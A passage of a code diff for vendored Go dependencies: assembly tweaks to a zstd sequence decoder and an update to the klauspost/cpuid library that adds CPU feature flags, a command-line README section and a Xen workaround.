     3068 + JMP sequenceDecs_decodeSync_safe_amd64_after_adjust
    2987 3069   
    2988 3070  sequenceDecs_decodeSync_safe_amd64_adjust_offsetB_1_or_0:
    2989 3071   CMPQ 24(SP), $0x00000000
    skipped 5 lines
    2995 3077   TESTQ R13, R13
    2996 3078   JNZ sequenceDecs_decodeSync_safe_amd64_adjust_offset_nonzero
    2997 3079   MOVQ 144(CX), R13
    2998  - JMP sequenceDecs_decodeSync_safe_amd64_adjust_end
     3080 + JMP sequenceDecs_decodeSync_safe_amd64_after_adjust
    2999 3081   
    3000 3082  sequenceDecs_decodeSync_safe_amd64_adjust_offset_nonzero:
    3001 3083   MOVQ R13, AX
    skipped 2 lines
    3004 3086   CMPQ R13, $0x03
    3005 3087   CMOVQEQ R14, AX
    3006 3088   CMOVQEQ R15, R14
    3007  - LEAQ 144(CX), R15
    3008  - ADDQ (R15)(AX*8), R14
     3089 + ADDQ 144(CX)(AX*8), R14
    3009 3090   JNZ sequenceDecs_decodeSync_safe_amd64_adjust_temp_valid
    3010 3091   MOVQ $0x00000001, R14
    3011 3092   
    skipped 9 lines
    3021 3102   MOVQ R14, 144(CX)
    3022 3103   MOVQ R14, R13
    3023 3104   
    3024  -sequenceDecs_decodeSync_safe_amd64_adjust_end:
     3105 +sequenceDecs_decodeSync_safe_amd64_after_adjust:
    3025 3106   MOVQ R13, 8(SP)
    3026 3107   
    3027 3108   // Check values
    skipped 392 lines
    3420 3501   MOVQ 72(CX), SI
    3421 3502   MOVQ 80(CX), DI
    3422 3503   MOVQ 88(CX), R8
     3504 + XORQ R9, R9
     3505 + MOVQ R9, 8(SP)
     3506 + MOVQ R9, 16(SP)
     3507 + MOVQ R9, 24(SP)
    3423 3508   MOVQ 112(CX), R9
    3424 3509   MOVQ 128(CX), R10
    3425 3510   MOVQ R10, 32(SP)
    skipped 166 lines
    3592 3677   MOVUPS 144(CX), X0
    3593 3678   MOVQ R13, 144(CX)
    3594 3679   MOVUPS X0, 152(CX)
    3595  - JMP sequenceDecs_decodeSync_safe_bmi2_adjust_end
     3680 + JMP sequenceDecs_decodeSync_safe_bmi2_after_adjust
    3596 3681   
    3597 3682  sequenceDecs_decodeSync_safe_bmi2_adjust_offsetB_1_or_0:
    3598 3683   CMPQ 24(SP), $0x00000000
    skipped 5 lines
    3604 3689   TESTQ R13, R13
    3605 3690   JNZ sequenceDecs_decodeSync_safe_bmi2_adjust_offset_nonzero
    3606 3691   MOVQ 144(CX), R13
    3607  - JMP sequenceDecs_decodeSync_safe_bmi2_adjust_end
     3692 + JMP sequenceDecs_decodeSync_safe_bmi2_after_adjust
    3608 3693   
    3609 3694  sequenceDecs_decodeSync_safe_bmi2_adjust_offset_nonzero:
    3610 3695   MOVQ R13, R12
    skipped 2 lines
    3613 3698   CMPQ R13, $0x03
    3614 3699   CMOVQEQ R14, R12
    3615 3700   CMOVQEQ R15, R14
    3616  - LEAQ 144(CX), R15
    3617  - ADDQ (R15)(R12*8), R14
     3701 + ADDQ 144(CX)(R12*8), R14
    3618 3702   JNZ sequenceDecs_decodeSync_safe_bmi2_adjust_temp_valid
    3619 3703   MOVQ $0x00000001, R14
    3620 3704   
    skipped 9 lines
    3630 3714   MOVQ R14, 144(CX)
    3631 3715   MOVQ R14, R13
    3632 3716   
    3633  -sequenceDecs_decodeSync_safe_bmi2_adjust_end:
     3717 +sequenceDecs_decodeSync_safe_bmi2_after_adjust:
    3634 3718   MOVQ R13, 8(SP)
    3635 3719   
    3636 3720   // Check values
    skipped 381 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/cpuid/v2/README.md
    skipped 131 lines
    132 132  }
    133 133  ```
    134 134   
     135 +## commandline
     136 + 
     137 +Download as binary from: https://github.com/klauspost/cpuid/releases
     138 + 
     139 +Install from source:
     140 + 
     141 +`go install github.com/klauspost/cpuid/v2/cmd/cpuid@latest`
     142 + 
     143 +### Example
     144 + 
     145 +```
     146 +λ cpuid
     147 +Name: AMD Ryzen 9 3950X 16-Core Processor
     148 +Vendor String: AuthenticAMD
     149 +Vendor ID: AMD
     150 +PhysicalCores: 16
     151 +Threads Per Core: 2
     152 +Logical Cores: 32
     153 +CPU Family 23 Model: 113
     154 +Features: ADX,AESNI,AVX,AVX2,BMI1,BMI2,CLMUL,CLZERO,CMOV,CMPXCHG8,CPBOOST,CX16,F16C,FMA3,FXSR,FXSROPT,HTT,HYPERVISOR,LAHF,LZCNT,MCAOVERFLOW,MMX,MMXEXT,MOVBE,NX,OSXSAVE,POPCNT,RDRAND,RDSEED,RDTSCP,SCE,SHA,SSE,SSE2,SSE3,SSE4,SSE42,SSE4A,SSSE3,SUCCOR,X87,XSAVE
     155 +Microarchitecture level: 3
     156 +Cacheline bytes: 64
     157 +L1 Instruction Cache: 32768 bytes
     158 +L1 Data Cache: 32768 bytes
     159 +L2 Cache: 524288 bytes
     160 +L3 Cache: 16777216 bytes
     161 + 
     162 +```
     163 +### JSON Output:
     164 + 
     165 +```
     166 +λ cpuid --json
     167 +{
     168 + "BrandName": "AMD Ryzen 9 3950X 16-Core Processor",
     169 + "VendorID": 2,
     170 + "VendorString": "AuthenticAMD",
     171 + "PhysicalCores": 16,
     172 + "ThreadsPerCore": 2,
     173 + "LogicalCores": 32,
     174 + "Family": 23,
     175 + "Model": 113,
     176 + "CacheLine": 64,
     177 + "Hz": 0,
     178 + "BoostFreq": 0,
     179 + "Cache": {
     180 + "L1I": 32768,
     181 + "L1D": 32768,
     182 + "L2": 524288,
     183 + "L3": 16777216
     184 + },
     185 + "SGX": {
     186 + "Available": false,
     187 + "LaunchControl": false,
     188 + "SGX1Supported": false,
     189 + "SGX2Supported": false,
     190 + "MaxEnclaveSizeNot64": 0,
     191 + "MaxEnclaveSize64": 0,
     192 + "EPCSections": null
     193 + },
     194 + "Features": [
     195 + "ADX",
     196 + "AESNI",
     197 + "AVX",
     198 + "AVX2",
     199 + "BMI1",
     200 + "BMI2",
     201 + "CLMUL",
     202 + "CLZERO",
     203 + "CMOV",
     204 + "CMPXCHG8",
     205 + "CPBOOST",
     206 + "CX16",
     207 + "F16C",
     208 + "FMA3",
     209 + "FXSR",
     210 + "FXSROPT",
     211 + "HTT",
     212 + "HYPERVISOR",
     213 + "LAHF",
     214 + "LZCNT",
     215 + "MCAOVERFLOW",
     216 + "MMX",
     217 + "MMXEXT",
     218 + "MOVBE",
     219 + "NX",
     220 + "OSXSAVE",
     221 + "POPCNT",
     222 + "RDRAND",
     223 + "RDSEED",
     224 + "RDTSCP",
     225 + "SCE",
     226 + "SHA",
     227 + "SSE",
     228 + "SSE2",
     229 + "SSE3",
     230 + "SSE4",
     231 + "SSE42",
     232 + "SSE4A",
     233 + "SSSE3",
     234 + "SUCCOR",
     235 + "X87",
     236 + "XSAVE"
     237 + ],
     238 + "X64Level": 3
     239 +}
     240 +```
     241 + 
     242 +### Check CPU microarch level
     243 + 
     244 +```
     245 +λ cpuid --check-level=3
     246 +2022/03/18 17:04:40 AMD Ryzen 9 3950X 16-Core Processor
     247 +2022/03/18 17:04:40 Microarchitecture level 3 is supported. Max level is 3.
     248 +Exit Code 0
     249 + 
     250 +λ cpuid --check-level=4
     251 +2022/03/18 17:06:18 AMD Ryzen 9 3950X 16-Core Processor
     252 +2022/03/18 17:06:18 Microarchitecture level 4 not supported. Max level is 3.
     253 +Exit Code 1
     254 +```
     255 + 
    135 256  # license
    136 257   
    137 258  This code is published under an MIT license. See LICENSE file for more information.
    skipped 1 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/cpuid/v2/cpuid.go
    skipped 13 lines
    14 14   "flag"
    15 15   "fmt"
    16 16   "math"
     17 + "math/bits"
    17 18   "os"
    18 19   "runtime"
    19 20   "strings"
    skipped 72 lines
    92 93   AVX512VNNI // AVX-512 Vector Neural Network Instructions
    93 94   AVX512VP2INTERSECT // AVX-512 Intersect for D/Q
    94 95   AVX512VPOPCNTDQ // AVX-512 Vector Population Count Doubleword and Quadword
    95  - AVXSLOW // Indicates the CPU performs 2 128 bit operations instead of one.
     96 + AVXSLOW // Indicates the CPU performs 2 128 bit operations instead of one
     97 + AVXVNNI // AVX (VEX encoded) VNNI neural network instructions
    96 98   BMI1 // Bit Manipulation Instruction Set 1
    97 99   BMI2 // Bit Manipulation Instruction Set 2
    98 100   CETIBT // Intel CET Indirect Branch Tracking
    skipped 2 lines
    101 103   CLMUL // Carry-less Multiplication
    102 104   CLZERO // CLZERO instruction supported
    103 105   CMOV // i686 CMOV
     106 + CMPSB_SCADBS_SHORT // Fast short CMPSB and SCASB
    104 107   CMPXCHG8 // CMPXCHG8 instruction
    105 108   CPBOOST // Core Performance Boost
    106 109   CX16 // CMPXCHG16B Instruction
    skipped 4 lines
    111 114   FMA4 // Bulldozer FMA4 functions
    112 115   FXSR // FXSAVE, FXRESTOR instructions, CR4 bit 9
    113 116   FXSROPT // FXSAVE/FXRSTOR optimizations
    114  - GFNI // Galois Field New Instructions
     117 + GFNI // Galois Field New Instructions. May require other features (AVX, AVX512VL,AVX512F) based on usage.
    115 118   HLE // Hardware Lock Elision
     119 + HRESET // If set CPU supports history reset and the IA32_HRESET_ENABLE MSR
    116 120   HTT // Hyperthreading (enabled)
    117 121   HWA // Hardware assert supported. Indicates support for MSRC001_10
    118 122   HYPERVISOR // This bit has been reserved by Intel & AMD for use by hypervisors
    skipped 7 lines
    126 130   IBSOPSAM // Instruction Based Sampling Feature (AMD)
    127 131   IBSRDWROPCNT // Instruction Based Sampling Feature (AMD)
    128 132   IBSRIPINVALIDCHK // Instruction Based Sampling Feature (AMD)
     133 + IBS_PREVENTHOST // Disallowing IBS use by the host supported
    129 134   INT_WBINVD // WBINVD/WBNOINVD are interruptible.
    130 135   INVLPGB // NVLPGB and TLBSYNC instruction supported
    131 136   LAHF // LAHF/SAHF in long mode
     137 + LAM // If set, CPU supports Linear Address Masking
     138 + LBRVIRT // LBR virtualization
    132 139   LZCNT // LZCNT instruction
    133 140   MCAOVERFLOW // MCA overflow recovery support.
    134 141   MCOMMIT // MCOMMIT instruction supported
    skipped 2 lines
    137 144   MOVBE // MOVBE instruction (big-endian)
    138 145   MOVDIR64B // Move 64 Bytes as Direct Store
    139 146   MOVDIRI // Move Doubleword as Direct Store
     147 + MOVSB_ZL // Fast Zero-Length MOVSB
    140 148   MPX // Intel MPX (Memory Protection Extensions)
    141 149   MSRIRC // Instruction Retired Counter MSR available
     150 + MSR_PAGEFLUSH // Page Flush MSR available
     151 + NRIPS // Indicates support for NRIP save on VMEXIT
    142 152   NX // NX (No-Execute) bit
    143 153   OSXSAVE // XSAVE enabled by OS
     154 + PCONFIG // PCONFIG for Intel Multi-Key Total Memory Encryption
    144 155   POPCNT // POPCNT instruction
    145 156   RDPRU // RDPRU instruction supported
    146 157   RDRAND // RDRAND instruction is available
    skipped 3 lines
    150 161   RTM_ALWAYS_ABORT // Indicates that the loaded microcode is forcing RTM abort.
    151 162   SCE // SYSENTER and SYSEXIT instructions
    152 163   SERIALIZE // Serialize Instruction Execution
     164 + SEV // AMD Secure Encrypted Virtualization supported
     165 + SEV_64BIT // AMD SEV guest execution only allowed from a 64-bit host
     166 + SEV_ALTERNATIVE // AMD SEV Alternate Injection supported
     167 + SEV_DEBUGSWAP // Full debug state swap supported for SEV-ES guests
     168 + SEV_ES // AMD SEV Encrypted State supported
     169 + SEV_RESTRICTED // AMD SEV Restricted Injection supported
     170 + SEV_SNP // AMD SEV Secure Nested Paging supported
    153 171   SGX // Software Guard Extensions
    154 172   SGXLC // Software Guard Extensions Launch Control
    155 173   SHA // Intel SHA Extensions
     174 + SME // AMD Secure Memory Encryption supported
     175 + SME_COHERENT // AMD Hardware cache coherency across encryption domains enforced
    156 176   SSE // SSE functions
    157 177   SSE2 // P4 SSE functions
    158 178   SSE3 // Prescott SSE3 functions
    skipped 2 lines
    161 181   SSE4A // AMD Barcelona microarchitecture SSE4a instructions
    162 182   SSSE3 // Conroe SSSE3 functions
    163 183   STIBP // Single Thread Indirect Branch Predictors
     184 + STOSB_SHORT // Fast short STOSB
    164 185   SUCCOR // Software uncorrectable error containment and recovery capability.
     186 + SVM // AMD Secure Virtual Machine
     187 + SVMDA // Indicates support for the SVM decode assists.
     188 + SVMFBASID // SVM, Indicates that TLB flush events, including CR3 writes and CR4.PGE toggles, flush only the current ASID's TLB entries. Also indicates support for the extended VMCBTLB_Control
     189 + SVML // AMD SVM lock. Indicates support for SVM-Lock.
     190 + SVMNP // AMD SVM nested paging
     191 + SVMPF // SVM pause intercept filter. Indicates support for the pause intercept filter
     192 + SVMPFT // SVM PAUSE filter threshold. Indicates support for the PAUSE filter cycle count threshold
    165 193   TBM // AMD Trailing Bit Manipulation
     194 + TME // Intel Total Memory Encryption. The following MSRs are supported: IA32_TME_CAPABILITY, IA32_TME_ACTIVATE, IA32_TME_EXCLUDE_MASK, and IA32_TME_EXCLUDE_BASE.
     195 + TSCRATEMSR // MSR based TSC rate control. Indicates support for MSR TSC ratio MSRC000_0104
    166 196   TSXLDTRK // Intel TSX Suspend Load Address Tracking
    167  - VAES // Vector AES
     197 + VAES // Vector AES. AVX(512) versions requires additional checks.
     198 + VMCBCLEAN // VMCB clean bits. Indicates support for VMCB clean bits.
     199 + VMPL // AMD VM Permission Levels supported
     200 + VMSA_REGPROT // AMD VMSA Register Protection supported
    168 201   VMX // Virtual Machine Extensions
    169  - VPCLMULQDQ // Carry-Less Multiplication Quadword
     202 + VPCLMULQDQ // Carry-Less Multiplication Quadword. Requires AVX for 3 register versions.
     203 + VTE // AMD Virtual Transparent Encryption supported
    170 204   WAITPKG // TPAUSE, UMONITOR, UMWAIT
    171 205   WBNOINVD // Write Back and Do Not Invalidate Cache
    172 206   X87 // FPU
     207 + XGETBV1 // Supports XGETBV with ECX = 1
    173 208   XOP // Bulldozer XOP functions
    174 209   XSAVE // XSAVE, XRESTOR, XSETBV, XGETBV
     210 + XSAVEC // Supports XSAVEC and the compacted form of XRSTOR.
     211 + XSAVEOPT // XSAVEOPT available
     212 + XSAVES // Supports XSAVES/XRSTORS and IA32_XSS
    175 213   
    176 214   // ARM features:
    177 215   AESARM // AES instructions
    skipped 20 lines
    198 236   SM3 // SM3 instructions
    199 237   SM4 // SM4 instructions
    200 238   SVE // Scalable Vector Extension
    201  - 
    202 239   // Keep it last. It automatically defines the size of []flagSet
    203 240   lastID
    204 241   
    skipped 164 lines
    369 406   return c.VendorID == v
    370 407  }
    371 408   
     409 +// FeatureSet returns all available features as strings.
    372 410  func (c CPUInfo) FeatureSet() []string {
    373  - s := make([]string, 0)
     411 + s := make([]string, 0, c.featureSet.nEnabled())
    374 412   s = append(s, c.featureSet.Strings()...)
    375 413   return s
    376 414  }
    skipped 164 lines
    541 579   }
    542 580   }
    543 581   return true
     582 +}
     583 + 
     584 +// nEnabled will return the number of enabled flags.
     585 +func (s flagSet) nEnabled() (n int) {
     586 + for _, v := range s[:] {
     587 + n += bits.OnesCount64(uint64(v))
     588 + }
     589 + return n
    544 590  }
    545 591   
    546 592  func flagSetWith(feat ...FeatureID) flagSet {
    skipped 267 lines
    814 860   if maxExtendedFunction() < 0x8000001D {
    815 861   return
    816 862   }
     863 + 
     864 + // Xen Hypervisor is buggy and returns the same entry no matter ECX value.
     865 + // Hack: When we encounter the same entry 100 times we break.
     866 + nSame := 0
     867 + var last uint32
    817 868   for i := uint32(0); i < math.MaxUint32; i++ {
    818 869   eax, ebx, ecx, _ := cpuidex(0x8000001D, i)
    819 870   
    skipped 8 lines
    828 879   if typ == 0 {
    829 880   return
    830 881   }
     882 + 
     883 + // Check for the same value repeated.
     884 + comb := eax ^ ebx ^ ecx
     885 + if comb == last {
     886 + nSame++
     887 + if nSame == 100 {
     888 + return
     889 + }
     890 + }
     891 + last = comb
    831 892   
    832 893   switch level {
    833 894   case 1:
    skipped 142 lines
    976 1037   // Check AVX2, AVX2 requires OS support, but BMI1/2 don't.
    977 1038   if mfi >= 7 {
    978 1039   _, ebx, ecx, edx := cpuidex(7, 0)
    979  - eax1, _, _, _ := cpuidex(7, 1)
    980 1040   if fs.inSet(AVX) && (ebx&0x00000020) != 0 {
    981 1041   fs.set(AVX2)
    982 1042   }
    skipped 10 lines
    993 1053   fs.setIf(ebx&(1<<18) != 0, RDSEED)
    994 1054   fs.setIf(ebx&(1<<19) != 0, ADX)
    995 1055   fs.setIf(ebx&(1<<29) != 0, SHA)
     1056 + 
    996 1057   // CPUID.(EAX=7, ECX=0).ECX
    997 1058   fs.setIf(ecx&(1<<5) != 0, WAITPKG)
    998 1059   fs.setIf(ecx&(1<<7) != 0, CETSS)
     1060 + fs.setIf(ecx&(1<<8) != 0, GFNI)
     1061 + fs.setIf(ecx&(1<<9) != 0, VAES)
     1062 + fs.setIf(ecx&(1<<10) != 0, VPCLMULQDQ)
     1063 + fs.setIf(ecx&(1<<13) != 0, TME)
    999 1064   fs.setIf(ecx&(1<<25) != 0, CLDEMOTE)
    1000 1065   fs.setIf(ecx&(1<<27) != 0, MOVDIRI)
    1001 1066   fs.setIf(ecx&(1<<28) != 0, MOVDIR64B)
    1002 1067   fs.setIf(ecx&(1<<29) != 0, ENQCMD)
    1003 1068   fs.setIf(ecx&(1<<30) != 0, SGXLC)
     1069 + 
    1004 1070   // CPUID.(EAX=7, ECX=0).EDX
    1005 1071   fs.setIf(edx&(1<<11) != 0, RTM_ALWAYS_ABORT)
    1006 1072   fs.setIf(edx&(1<<14) != 0, SERIALIZE)
    1007 1073   fs.setIf(edx&(1<<16) != 0, TSXLDTRK)
     1074 + fs.setIf(edx&(1<<18) != 0, PCONFIG)
    1008 1075   fs.setIf(edx&(1<<20) != 0, CETIBT)
    1009 1076   fs.setIf(edx&(1<<26) != 0, IBPB)
    1010 1077   fs.setIf(edx&(1<<27) != 0, STIBP)
    1011 1078   
     1079 + // CPUID.(EAX=7, ECX=1)
     1080 + eax1, _, _, _ := cpuidex(7, 1)
     1081 + fs.setIf(fs.inSet(AVX) && eax1&(1<<4) != 0, AVXVNNI)
     1082 + fs.setIf(eax1&(1<<10) != 0, MOVSB_ZL)
     1083 + fs.setIf(eax1&(1<<11) != 0, STOSB_SHORT)
     1084 + fs.setIf(eax1&(1<<12) != 0, CMPSB_SCADBS_SHORT)
     1085 + fs.setIf(eax1&(1<<22) != 0, HRESET)
     1086 + fs.setIf(eax1&(1<<26) != 0, LAM)
     1087 + 
    1012 1088   // Only detect AVX-512 features if XGETBV is supported
    1013 1089   if c&((1<<26)|(1<<27)) == (1<<26)|(1<<27) {
    1014 1090   // Check for OS support
    skipped 18 lines
    1033 1109   // ecx
    1034 1110   fs.setIf(ecx&(1<<1) != 0, AVX512VBMI)
    1035 1111   fs.setIf(ecx&(1<<6) != 0, AVX512VBMI2)
    1036  - fs.setIf(ecx&(1<<8) != 0, GFNI)
    1037  - fs.setIf(ecx&(1<<9) != 0, VAES)
    1038  - fs.setIf(ecx&(1<<10) != 0, VPCLMULQDQ)
    1039 1112   fs.setIf(ecx&(1<<11) != 0, AVX512VNNI)
    1040 1113   fs.setIf(ecx&(1<<12) != 0, AVX512BITALG)
    1041 1114   fs.setIf(ecx&(1<<14) != 0, AVX512VPOPCNTDQ)
    skipped 8 lines
    1050 1123   }
    1051 1124   }
    1052 1125   }
    1053  - 
     1126 + // Processor Extended State Enumeration Sub-leaf (EAX = 0DH, ECX = 1)
     1127 + // EAX
     1128 + // Bit 00: XSAVEOPT is available.
     1129 + // Bit 01: Supports XSAVEC and the compacted form of XRSTOR if set.
     1130 + // Bit 02: Supports XGETBV with ECX = 1 if set.
     1131 + // Bit 03: Supports XSAVES/XRSTORS and IA32_XSS if set.
     1132 + // Bits 31 - 04: Reserved.
     1133 + // EBX
     1134 + // Bits 31 - 00: The size in bytes of the XSAVE area containing all states enabled by XCRO | IA32_XSS.
     1135 + // ECX
     1136 + // Bits 31 - 00: Reports the supported bits of the lower 32 bits of the IA32_XSS MSR. IA32_XSS[n] can be set to 1 only if ECX[n] is 1.
     1137 + // EDX?
     1138 + // Bits 07 - 00: Used for XCR0. Bit 08: PT state. Bit 09: Used for XCR0. Bits 12 - 10: Reserved. Bit 13: HWP state. Bits 31 - 14: Reserved.
     1139 + if mfi >= 0xd {
     1140 + if fs.inSet(XSAVE) {
     1141 + eax, _, _, _ := cpuidex(0xd, 1)
     1142 + fs.setIf(eax&(1<<0) != 0, XSAVEOPT)
     1143 + fs.setIf(eax&(1<<1) != 0, XSAVEC)
     1144 + fs.setIf(eax&(1<<2) != 0, XGETBV1)
     1145 + fs.setIf(eax&(1<<3) != 0, XSAVES)
     1146 + }
     1147 + }
    1054 1148   if maxExtendedFunction() >= 0x80000001 {
    1055 1149   _, _, c, d := cpuid(0x80000001)
    1056 1150   if (c & (1 << 5)) != 0 {
    1057 1151   fs.set(LZCNT)
    1058 1152   fs.set(POPCNT)
    1059 1153   }
     1154 + // ECX
    1060 1155   fs.setIf((c&(1<<0)) != 0, LAHF)
     1156 + fs.setIf((c&(1<<2)) != 0, SVM)
     1157 + fs.setIf((c&(1<<6)) != 0, SSE4A)
    1061 1158   fs.setIf((c&(1<<10)) != 0, IBS)
     1159 + 
     1160 + // EDX
    1062 1161   fs.setIf((d&(1<<31)) != 0, AMD3DNOW)
    1063 1162   fs.setIf((d&(1<<30)) != 0, AMD3DNOWEXT)
    1064 1163   fs.setIf((d&(1<<23)) != 0, MMX)
    1065 1164   fs.setIf((d&(1<<22)) != 0, MMXEXT)
    1066  - fs.setIf((c&(1<<6)) != 0, SSE4A)
    1067 1165   fs.setIf(d&(1<<20) != 0, NX)
    1068 1166   fs.setIf(d&(1<<27) != 0, RDTSCP)
    1069 1167   
    skipped 24 lines
    1094 1192   fs.setIf((b&(1<<0)) != 0, CLZERO)
    1095 1193   }
    1096 1194   
     1195 + if fs.inSet(SVM) && maxExtendedFunction() >= 0x8000000A {
     1196 + _, _, _, edx := cpuid(0x8000000A)
     1197 + fs.setIf((edx>>0)&1 == 1, SVMNP)
     1198 + fs.setIf((edx>>1)&1 == 1, LBRVIRT)
     1199 + fs.setIf((edx>>2)&1 == 1, SVML)
     1200 + fs.setIf((edx>>3)&1 == 1, NRIPS)
     1201 + fs.setIf((edx>>4)&1 == 1, TSCRATEMSR)
     1202 + fs.setIf((edx>>5)&1 == 1, VMCBCLEAN)
     1203 + fs.setIf((edx>>6)&1 == 1, SVMFBASID)
     1204 + fs.setIf((edx>>7)&1 == 1, SVMDA)
     1205 + fs.setIf((edx>>10)&1 == 1, SVMPF)
     1206 + fs.setIf((edx>>12)&1 == 1, SVMPFT)
     1207 + }
     1208 + 
    1097 1209   if maxExtendedFunction() >= 0x8000001b && fs.inSet(IBS) {
    1098 1210   eax, _, _, _ := cpuid(0x8000001b)
    1099 1211   fs.setIf((eax>>0)&1 == 1, IBSFFV)
    skipped 4 lines
    1104 1216   fs.setIf((eax>>5)&1 == 1, IBSBRNTRGT)
    1105 1217   fs.setIf((eax>>6)&1 == 1, IBSOPCNTEXT)
    1106 1218   fs.setIf((eax>>7)&1 == 1, IBSRIPINVALIDCHK)
     1219 + }
     1220 + 
     1221 + if maxExtendedFunction() >= 0x8000001f && vend == AMD {
     1222 + a, _, _, _ := cpuid(0x8000001f)
     1223 + fs.setIf((a>>0)&1 == 1, SME)
     1224 + fs.setIf((a>>1)&1 == 1, SEV)
     1225 + fs.setIf((a>>2)&1 == 1, MSR_PAGEFLUSH)
     1226 + fs.setIf((a>>3)&1 == 1, SEV_ES)
     1227 + fs.setIf((a>>4)&1 == 1, SEV_SNP)
     1228 + fs.setIf((a>>5)&1 == 1, VMPL)
     1229 + fs.setIf((a>>10)&1 == 1, SME_COHERENT)
     1230 + fs.setIf((a>>11)&1 == 1, SEV_64BIT)
     1231 + fs.setIf((a>>12)&1 == 1, SEV_RESTRICTED)
     1232 + fs.setIf((a>>13)&1 == 1, SEV_ALTERNATIVE)
     1233 + fs.setIf((a>>14)&1 == 1, SEV_DEBUGSWAP)
     1234 + fs.setIf((a>>15)&1 == 1, IBS_PREVENTHOST)
     1235 + fs.setIf((a>>16)&1 == 1, VTE)
     1236 + fs.setIf((a>>24)&1 == 1, VMSA_REGPROT)
    1107 1237   }
    1108 1238   
    1109 1239   return fs
    skipped 24 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/cpuid/v2/featureid_string.go
    skipped 33 lines
    34 34   _ = x[AVX512VP2INTERSECT-24]
    35 35   _ = x[AVX512VPOPCNTDQ-25]
    36 36   _ = x[AVXSLOW-26]
    37  - _ = x[BMI1-27]
    38  - _ = x[BMI2-28]
    39  - _ = x[CETIBT-29]
    40  - _ = x[CETSS-30]
    41  - _ = x[CLDEMOTE-31]
    42  - _ = x[CLMUL-32]
    43  - _ = x[CLZERO-33]
    44  - _ = x[CMOV-34]
    45  - _ = x[CMPXCHG8-35]
    46  - _ = x[CPBOOST-36]
    47  - _ = x[CX16-37]
    48  - _ = x[ENQCMD-38]
    49  - _ = x[ERMS-39]
    50  - _ = x[F16C-40]
    51  - _ = x[FMA3-41]
    52  - _ = x[FMA4-42]
    53  - _ = x[FXSR-43]
    54  - _ = x[FXSROPT-44]
    55  - _ = x[GFNI-45]
    56  - _ = x[HLE-46]
    57  - _ = x[HTT-47]
    58  - _ = x[HWA-48]
    59  - _ = x[HYPERVISOR-49]
    60  - _ = x[IBPB-50]
    61  - _ = x[IBS-51]
    62  - _ = x[IBSBRNTRGT-52]
    63  - _ = x[IBSFETCHSAM-53]
    64  - _ = x[IBSFFV-54]
    65  - _ = x[IBSOPCNT-55]
    66  - _ = x[IBSOPCNTEXT-56]
    67  - _ = x[IBSOPSAM-57]
    68  - _ = x[IBSRDWROPCNT-58]
    69  - _ = x[IBSRIPINVALIDCHK-59]
    70  - _ = x[INT_WBINVD-60]
    71  - _ = x[INVLPGB-61]
    72  - _ = x[LAHF-62]
    73  - _ = x[LZCNT-63]
    74  - _ = x[MCAOVERFLOW-64]
    75  - _ = x[MCOMMIT-65]
    76  - _ = x[MMX-66]
    77  - _ = x[MMXEXT-67]
    78  - _ = x[MOVBE-68]
    79  - _ = x[MOVDIR64B-69]
    80  - _ = x[MOVDIRI-70]
    81  - _ = x[MPX-71]
    82  - _ = x[MSRIRC-72]
    83  - _ = x[NX-73]
    84  - _ = x[OSXSAVE-74]
    85  - _ = x[POPCNT-75]
    86  - _ = x[RDPRU-76]
    87  - _ = x[RDRAND-77]
    88  - _ = x[RDSEED-78]
    89  - _ = x[RDTSCP-79]
    90  - _ = x[RTM-80]
    91  - _ = x[RTM_ALWAYS_ABORT-81]
    92  - _ = x[SCE-82]
    93  - _ = x[SERIALIZE-83]
    94  - _ = x[SGX-84]
    95  - _ = x[SGXLC-85]
    96  - _ = x[SHA-86]
    97  - _ = x[SSE-87]
    98  - _ = x[SSE2-88]
    99  - _ = x[SSE3-89]
    100  - _ = x[SSE4-90]
    101  - _ = x[SSE42-91]
    102  - _ = x[SSE4A-92]
    103  - _ = x[SSSE3-93]
    104  - _ = x[STIBP-94]
    105  - _ = x[SUCCOR-95]
    106  - _ = x[TBM-96]
    107  - _ = x[TSXLDTRK-97]
    108  - _ = x[VAES-98]
    109  - _ = x[VMX-99]
    110  - _ = x[VPCLMULQDQ-100]
    111  - _ = x[WAITPKG-101]
    112  - _ = x[WBNOINVD-102]
    113  - _ = x[X87-103]
    114  - _ = x[XOP-104]
    115  - _ = x[XSAVE-105]
    116  - _ = x[AESARM-106]
    117  - _ = x[ARMCPUID-107]
    118  - _ = x[ASIMD-108]
    119  - _ = x[ASIMDDP-109]
    120  - _ = x[ASIMDHP-110]
    121  - _ = x[ASIMDRDM-111]
    122  - _ = x[ATOMICS-112]
    123  - _ = x[CRC32-113]
    124  - _ = x[DCPOP-114]
    125  - _ = x[EVTSTRM-115]
    126  - _ = x[FCMA-116]
    127  - _ = x[FP-117]
    128  - _ = x[FPHP-118]
    129  - _ = x[GPA-119]
    130  - _ = x[JSCVT-120]
    131  - _ = x[LRCPC-121]
    132  - _ = x[PMULL-122]
    133  - _ = x[SHA1-123]
    134  - _ = x[SHA2-124]
    135  - _ = x[SHA3-125]
    136  - _ = x[SHA512-126]
    137  - _ = x[SM3-127]
    138  - _ = x[SM4-128]
    139  - _ = x[SVE-129]
    140  - _ = x[lastID-130]
     37 + _ = x[AVXVNNI-27]
     38 + _ = x[BMI1-28]
     39 + _ = x[BMI2-29]
     40 + _ = x[CETIBT-30]
     41 + _ = x[CETSS-31]
     42 + _ = x[CLDEMOTE-32]
     43 + _ = x[CLMUL-33]
     44 + _ = x[CLZERO-34]
     45 + _ = x[CMOV-35]
     46 + _ = x[CMPSB_SCADBS_SHORT-36]
     47 + _ = x[CMPXCHG8-37]
     48 + _ = x[CPBOOST-38]
     49 + _ = x[CX16-39]
     50 + _ = x[ENQCMD-40]
     51 + _ = x[ERMS-41]
     52 + _ = x[F16C-42]
     53 + _ = x[FMA3-43]
     54 + _ = x[FMA4-44]
     55 + _ = x[FXSR-45]
     56 + _ = x[FXSROPT-46]
     57 + _ = x[GFNI-47]
     58 + _ = x[HLE-48]
     59 + _ = x[HRESET-49]
     60 + _ = x[HTT-50]
     61 + _ = x[HWA-51]
     62 + _ = x[HYPERVISOR-52]
     63 + _ = x[IBPB-53]
     64 + _ = x[IBS-54]
     65 + _ = x[IBSBRNTRGT-55]
     66 + _ = x[IBSFETCHSAM-56]
     67 + _ = x[IBSFFV-57]
     68 + _ = x[IBSOPCNT-58]
     69 + _ = x[IBSOPCNTEXT-59]
     70 + _ = x[IBSOPSAM-60]
     71 + _ = x[IBSRDWROPCNT-61]
     72 + _ = x[IBSRIPINVALIDCHK-62]
     73 + _ = x[IBS_PREVENTHOST-63]
